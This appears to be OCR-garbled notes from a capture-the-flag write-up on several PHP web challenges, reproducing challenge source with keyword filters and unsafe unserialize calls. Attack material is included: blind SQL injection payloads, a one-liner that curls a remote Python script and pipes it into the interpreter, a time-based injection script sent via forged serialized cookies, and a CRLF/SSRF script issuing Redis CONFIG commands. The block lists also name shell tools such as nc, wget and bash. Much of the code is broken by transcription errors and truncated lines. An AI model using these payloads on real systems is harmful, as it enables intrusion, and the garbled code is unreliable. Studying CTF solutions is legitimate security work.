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<?php

class fiter{
var $str;
var $order;

function sql_clean($str){
if(is_array($str)){
echo "<script> alert('not array!!@_@');parent.location.href="index.php'; </script>";exit;

}
$filter = "/ |\*|#|,|union|like|regexp|for|and|or|file|--|\]|| |&|".urldecode('%@9"')."|".urldecode("
if(preg_match($filter,$str)){

echo "<script> alert('illegal character!!@ _@');parent.location.href="index.php'; </script>";exi
}else if(strrpos($str,urldecode("%00"))){

echo "<script> alert('illegal character!!@ _@');parent.location.href="index.php'; </script>";exi

}

return $this->str=$str;

function ord_clean($ord){
$filter = " |bash|perl|nc|java|php|>|>>|wget]|ftp|python|sh";
if (preg_match("/".$filter."/i",%0ord) == 1){
return $this->order = "";

}

return $this->order = $ord;
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uname=12"'%(ascii(mid((passwd)from(1)))>0)%"'1&passwd=dddd
uname=admin' - (length(trim(leading%a@'c12366feb73§2§"'%a0from%adpasswd))=20)- '0&passwd=1
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a=py;b=thon;curl${IFS}thttp://ip/lemon.py|$($a$b)
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index.php

if (isset($_COOKIE['user'])) {
$login = @unserialize(base64_decode($_COOKIE[ 'user']));
if (lempty($login->pass)) {
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PSLALUS = PLOZLN->CNECK_LOLLNL ) ;
if ($status == 1) {
$_SESSION[ 'login'] = 1;
var_dump("login by cookie!!!");

function.php
<?php
class help {

static function addslashes_deep($value) {
if (empty($value)) {
return $value;
} else {
if (!get_magic_quotes_gpc()) {
$value = is_array($value) ? array_map("help::addslashes_deep"”, $value) : help::mystrip_tags
} else {
$value = is_array($value) ? array_map("help::addslashes_deep"”, $value) : help::mystrip_tags
}

return $value;

}

static function remove_xss($string) {
$string = preg_replace('/[\x00-\x08\xOB\XxOC\XOE-\x1F\x7F]+/S"', '', $string);

$parml = Array('javascript', 'union', 'vbscript', 'expression', ‘'applet', 'xml', 'blink', 'link"', '

$parm2 = Array('onabort', ‘'onactivate', ‘'onafterprint', 'onafterupdate', 'onbeforeactivate', 'onbef

$parm3 = Array('alert', 'sleep', 'load_file', 'confirm', ‘'prompt', 'benchmark', 'select', 'and', 'o
$parm = array_merge($parml, $parm2, $parm3);
for ($i = 0; $i < sizeof($parm); $i++) {
$pattern = '/";
for ($j = 0;
$j < strlen($parm[$i]); $3++) {
if ($5 > @) {
$pattern .= "(';
$pattern .= '(&#[x|Xx]e([9][al[b]);?)?";
$pattern .= '[(@([9][10][13]);?)?";
$pattern .= ')?';}
$pattern .= $parm[$i][$j];
}
$pattern .= '/i';
$string = preg_replace($pattern, '****'  $string);
}
return $string;
}
static function mystrip_tags($string) {
$string = help::new_html_special_chars($string);
$string = help::remove_xss($string);
return $string;
}
static function new_html_special_chars($string) {
$string = str_replace(array('&', '"', '<', '>', '&#'), array('&', '"', '<', '>', '"#x*') $string);
return $string;
}

static function htmlspecialchars_($value) {
if (empty($value)) {
return $value;
} else {
if (is_array($value)) {



foreach ($value as $k => $v) {
$value[$k] = self::htmlspecialchars_($v);

¥
} else {
$value = htmlspecialchars($value);
¥
return $value;
¥
}
static function CheckSql($db_string, $querytype = 'select') {
$clean = '';
$error = '';
$0ld _pos = 0;
$pos = -1;
if ($querytype == 'select') {
$notallowl = "[7@-9a-z@\. -]{1,}(load_file|outfile)[~@-9a-z@\.-]{1,}";
if (preg_match("/" . $notallowl . "/i", $db_string)) {
exit("Error");
}
}

while (TRUE) {
$pos = strpos($db_string, '\'', $pos + 1);
if ($pos === FALSE) {
break;
}
$clean .= substr($db_string, $old_pos, $pos - $o0ld_pos);
while (TRUE) {

$posl = strpos($db_string, "\'', $pos + 1);
$pos2 = strpos($db_string, "\\', $pos + 1);
if ($posl === FALSE) {

break;

} elseif ($pos2 == FALSE || $pos2 > $posl) {
$pos = $posi;

break;
}
$pos = $pos2 + 1;
}
$clean .= '$s$’';
$o0ld_pos = $pos + 1;

}
$clean .= substr($db_string, $old_pos);

$clean = trim(strtolower(preg_replace(array('~\s+~s'), array(' '), $clean)));
var_dump($clean);

if (strpos($clean, '@') !== FALSE OR strpos($clean, 'char(') !== FALSE OR strpos($clean, '"') l==F
$fail = TRUE;
if (preg_match("#"create table#i", $clean)) {
$fail = FALSE;
}
$error = "unusual character";
} elseif (strpos($clean, '/*') !== FALSE || strpos($clean, '-- ') l== FALSE || strpos($clean, '#')
$fail = TRUE;
$error = "comment detect";
} elseif (strpos($clean, 'sleep') !== FALSE && preg_match('~("|[%a-z])sleep($|[~[a-2])~is', $clean)
$fail = TRUE;
$error = "slown down detect";

} elseif (strpos($clean, 'benchmark') !== FALSE && preg_match('~(*|[”~a-z])benchmark($|[~[a-z])~is",



$tail = TRUE;

$error = "slown down detect";

} elseif (strpos($clean, 'load_file') !== FALSE && preg_match('~(*|["a-z])load_file($|[~[a-z])~is",
$fail = TRUE;
$error = "file fun detect";

} elseif (strpos($clean, 'into outfile') !== FALSE && preg_match('~("|[*a-z])into\s+outfile($|[~[a-
$fail = TRUE;
$error = "file fun detect";

¥

if (lempty($fail)) {
exit("Error" . $error);

} else {

return $db_string;

class login {
var $uid = 0;

var $name = "";

var $pass = '';

public function check_login() {
//mysql_conn();
$sqls = "select * from phpinfoadmin where username='$this->name'";
$sqls = help::CheckSql($sqls);
var_dump($sqls);
//$re = mysql_query($sqls);
$results = @mysql_fetch_array($re);
//echo $sqls . $results['passwd'];
//mysql_close();
if (lempty($results)) {
if ($results['passwd'] == $this->pass) {
return 1;
} else {
return 0;

public function __ destruct() {
$this->check_login();

public function __wakeup() {
$this->name = help::addslashes_deep($this->name);
$this->pass = help::addslashes_deep($this->pass);
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select * from admin where id='1' or char(@ '") or sleep(5) ';
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select * from admin where id=$s$ or @ $s$;
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import time

import requests

import base64

url="http://web3.08067.me/wakeup/index.php"’

string = '!@#$%8&\"' ()*+,-./0123456789: ; <=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]~ " abcdefghijklmnopgrstuvwxyz{|}~"

for s in string:
k = ord(s)
print chr(k),

a=requests.session()

start_time = time.time()

a="0:5:\"1login\":4:{s:3:\"uid\";i:0;s:4:\"name\";s:83:\"a' and ~' . " .id or if(ascii(substr((select fla
b=base64.b64encode(veneno)

b=a.get(url,cookies={"user":b})

now_time = time.time()-start_time

print now_time

print chr(k)

print '---'

print chr(k+1)
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import requests
import threading
def test():
while True:
try:
url = "http://web7.08067.me/web7/input”
data = {'value': 'http://127.0.0.1%0d%0aCONFIG%20SET%20d1ir%20%2ftmp%0d%0aCONFIG%20SET%20dbfilen
requests.post(url, data=data)
except Exception, e:
pass
def test2():
while True:
try:
url = "http://web7.08067.me/web7/admin"
data = {'passworld': 'xxe@'}
text = requests.post(url, data=data).text
if 'flag' in text:
print text
except:
pass
list = []
for i in range(10):
t = threading.Thread(target=test)
t.setDaemon(True)
t.start()
list.append(t)
for i in range(10):
t = threading.Thread(target=test2)
t.setDaemon(True)
t.start()
list.append(t)
for i in list:
i.join()
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class admin {
var $name;
var $check;



var $data;

var $method;
var $userid;
var $msgid;

function check() {
$username = addslashes($this->name);
@mysql_conn();
$sql = "select * from user where name='$username'";
$result = @mysql_fetch_array(mysql_query($sql));
mysql_close();
if (lempty($result)) {
if ($this->check === md5($result['salt'] . $this->data
echo '(=-=)!1";
if ($result['role'] == 1) {

return 1;
} else {
return 0;
}
} else {
return 0;
}
} else {
return 0;
}
¥
function do_method() {
if ($this->check() === 1) {
if ($this->method === 'del_msg') {
$this->del_msg();
} elseif ($this->method === 'del_user') {
$this->del _user();
} else {
exit();
¥
¥

function del _user() {
if ($this->userid) {
$user_id = intval($this->userid);
if ($user_id == 1) {

. $username)) {

echo ('<script>alert("Admin can\'t delete!!")</script>"');

exit();
}
@mysql_conn();
$sql2 = "DELETE FROM user where userid='$user_id'";
if (mysql _query($sql2)) {

echo ('<script>alert("Delete user success!!")</script>');

exit();
} else {

echo ('<script>alert("Delete user wrong!!")</script>");

exit();

mysql_close();
} else {

echo ('<script>alert("Check Your user_id!!")</script>");
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exit();

}
$a = unserialize(base64_decode($api));
$a->do_method();
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if ($this->check === md5($result['salt'] . $this->data . $username))

fEforget.phpH

if(@$forget==1)

{
@mysql_conn();
$sql = "select * from user where name='$username'";
$result = @mysql_fetch_array(mysql_query($sql));
mysql_close();
if (lempty($result))
{
if($result['salt'])
{
$check = base64_encode(md5($result['salt']));
$name = $result['name'];
header("Location:/web/repass.php?username=$name&check=$check&mibao=$mibao&pass=$pass”);
¥
else
{
echo("<script>alert('Get salt Worng?')</script>");
¥
¥
else
{
echo("<script>alert('Please check!!?')</script>");
}
}
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<?php
class admin {

var $name = "admin";

var $check = "8f4d7a58b13a34d34f8384595a3de5f7";
var $data;

var $method = "del_user";

var $userid

"41";

}

$user = new admin();

$user->data = $_POST[ 'data'];

echo base64_encode(serialize($user));

?>
post:
data=%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00°"
< | n | F

E B A data B 1 59 50E B 4 55 B A B ...
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foreach(Array("_POST"," GET"," COOKIE") as $key){
foreach($$key as $k => $v){
if(is_array($v)){
die("hello,hacker!");

}
else{

$k[0] !='_'?$$k = addslashes($v):$$k = "";
}

}

if ($_SESSION['user']) {
$username = $_SESSION[ 'user'];
@mysql_conn();
$sql = "select * from user where name='$username'";
$result = @mysql_fetch_array(mysql_query($sql));
mysql_close();
if ($result['userid']) {
$id = intval($result['userid']);
}
} else {
exit();
}

$sqll = "select * from msg where userid= $id order by id";
$query = mysql_query($sqll);
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